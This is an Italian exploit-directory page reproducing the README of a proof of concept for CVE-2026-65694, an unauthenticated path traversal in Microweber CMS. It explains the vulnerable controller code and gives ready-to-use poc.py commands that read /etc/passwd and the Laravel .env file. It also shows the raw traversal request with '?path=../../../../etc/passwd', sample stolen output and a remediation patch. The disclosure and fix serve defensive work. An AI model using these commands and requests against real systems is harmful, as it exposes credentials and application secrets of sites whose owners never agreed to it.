Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-65694-PoC — PoC per CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal non autenticato → lettura arbitraria di file (.env / secrets) | Kitploit
Strumenti/GitHubGitHub/abdugafforov-bobur/cve-2026-65694-poc
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniApprendimento e Formazione
GitHubabdugafforov-bobur/cve-2026-65694-poc

CVE-2026-65694-PoC

PoC per CVE-2026-65694 — Microweber CMS (<=2.0.20) path traversal non autenticato → lettura arbitraria di file (.env / secrets)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
121 mese faNon ancora revisionato
Condividi

CVE-2026-65694 — Lettura arbitraria di file non autenticata in Microweber CMS

Proof-of-concept per CVE-2026-65694, una lettura arbitraria di file non autenticata tramite path traversal in Microweber CMS.

Un utente non autenticato può leggere qualsiasi file accessibile all'utente del web server — il .env di Laravel (APP_KEY, credenziali DB, segreti mail/cloud), /etc/passwd, log, chiavi, configurazioni non .php, ecc. — tramite la rotta pubblica GET /userfiles/{path}.

  • CVE: CVE-2026-65694
  • Tipologia: Path Traversal → Lettura arbitraria di file non autenticata (CWE-22 / CWE-23)
  • Gravità: Alta — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
  • Versioni interessate: Microweber ≤ 2.0.20 e master attuale (la riga vulnerabile è ancora presente)
  • Autenticazione: Nessuna

Causa principale

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

La rotta è registrata senza autenticazione:

root@kitploit:~
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Si combinano due problemi:

  1. Override dell'input. $request->path (accesso alla proprietà, non al metodo $request->path()) viene risolto tramite Request::__get di Laravel → Arr::get($this->all(), 'path', fn() => $this->route('path')). Quindi un parametro query ?path= sovrascrive il segmento di rotta {path} — e i valori della query non sono soggetti alla normalizzazione dei .. nel percorso URL applicata da browser/server.
  2. Nessuna canonicalizzazione. normalize_path() si limita a comprimere gli slash; non rimuove né risolve mai i .., e non esiste alcun controllo che il percorso risolto rimanga all'interno di userfiles_path(). Il livello file di PHP risolve poi le sequenze .. sul filesystem.

Il controller blocca solo le estensioni .php, .phtml e .php7 (skip_ext), quindi il sorgente PHP non è direttamente leggibile — ma tutto il resto lo è (.env, /etc/passwd, log, chiavi, DB SQLite, configurazione JSON/YAML, …).

Requisiti

root@kitploit:~
pip install -r requirements.txt

Raggiungibile su qualsiasi deployment che utilizza la document root consigliata public/ (il public/.htaccess incluso in Microweber, o un front controller nginx try_files $uri /index.php), dove userfiles/ si trova al di fuori della web root e /userfiles/* viene inoltrato al router di Laravel.

Utilizzo

Tre azioni:

root@kitploit:~
python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

La profondità di traversal viene rilevata automaticamente (incrementando ../ finché il file non viene servito); è possibile sovrascriverla con --depth N. Instrada attraverso Burp con --proxy http://127.0.0.1:8080. Aggiungi -v per la richiesta raw.

Esempio

root@kitploit:~
$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

La richiesta sottostante è semplicemente:

root@kitploit:~
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Impatto

Lettura arbitraria di file non autenticata. La fuga del .env di Laravel rivela APP_KEY (falsificazione di sessioni/cookie), credenziali del database, password email e chiavi cloud — di fatto la compromissione totale dei segreti dell'istanza.

Rimedio

Leggi il parametro di rotta vincolato invece della proprietà di input, canonicalizza con realpath() e verifica che il percorso risolto rimanga all'interno di userfiles_path():

root@kitploit:~
public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

Crediti

Scoperta e segnalata da Bobur Abdugafforov. CVE-2026-65694 assegnato tramite VulnCheck.

Disclaimer

Solo per test di sicurezza autorizzati e uso educativo. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.

Scarica lo strumento
FlagAzione
--checkIndica se il target è vulnerabile (sì/no), senza scaricare dati
-r, --read FILELegge un file e lo stampa su stdout
-d, --download FILELegge un file e lo salva localmente (-o/--output imposta il nome)